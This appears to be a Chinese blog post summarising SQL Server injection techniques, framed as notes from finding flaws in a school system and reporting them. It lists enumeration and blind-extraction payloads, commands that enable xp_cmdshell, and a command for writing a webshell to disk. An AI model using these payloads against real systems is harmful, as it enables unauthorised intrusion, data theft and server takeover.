美文网首页
sql server注入小结

sql server注入小结

作者: gelinlang | 来源:发表于2020-03-04 13:51 被阅读0次

0x01前言

学校开了xx系统,大半夜改文档格式头大,登上去看下,有越权有注入,不是sa权限,sql server2008的xp_cmdshell默认关闭,传不了shell(我太菜了),遍历几个数据库名交到教育src,睡觉。

0x02正文

select SUSER_SNAME()//当前用户
select SUSER_SID()///当前用户id
select db_name()//当前数据库
select name from master.dbo.sysdatabases where dbid=1//列数据库
having 1=1//列表和列
group by test.id,test.name having 1=1//遍历列表和列
ascii(substring((select top 1 列名 from 表名),n,1)) >= 60//获取数据

执行命令
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。需要开启。
xp_cmdshell提权条件:
数据库用户是sa。
能够创建xp_cmdshell,有的情况下虽然是sa账号,但无法使用xp_cmdshell。
知道绝对路径。

sa权限开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

写shell或者执行其他命令
exec master..xp_cmdshell 'echo payload > 绝对路径';-- (尖括号前需要加^)

相关文章

  • SQL Server 注入小结

    本文为原创文章,转载请注明出处! 在实习的渗透测试项目中,遇到的数据库系统绝大部分是SQL Server。也算是了...

  • sql server注入小结

    0x01前言 学校开了xx系统,大半夜改文档格式头大,登上去看下,有越权有注入,不是sa权限,sql server...

  • sql server注入

    Sql server数据库注入 Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发...

  • sql server 注入

    1判断网站是否是注入点 ① :包含?*=变量名的 URL Integer: www.targ...

  • 跟我一起学NodeJS之安全

    安全 本篇介绍web server (Nodejs)层面上存在的安全问题,并解决 sql注入 sql注入就是我们我...

  • 网络安全-Day24-mssql注入获取webshell

    mssql注入获取webshell 1、SQL Server启用xp_cmdshell组件 1.1、通过SQL语句...

  • SQL Server 高级注入

    sql server 数据库可以通过xp_cmdshell组件执行一些系统命令 可以看到sql server 数据...

  • 【提权】MSSQL提权之xp_cmdshell

    0x01 前提 getshell或者存在sql注入并且能够执行命令。 sql server是system权限,sq...

  • sql注入阶段小结

    一、分类 可以有以下几种不同的维度:维度一:基于注入点值的属性 数字型 字符型维度二:基于注入点的位置 GET/P...

  • SQL手工注入漏洞测试(Sql Server数据库)

    和mysql 注入有些不同,union select 无法使用,Sql Server数据库只能用 union al...

网友评论

      本文标题:sql server注入小结

      本文链接:https://www.haomeiwen.com/subject/grimlhtx.html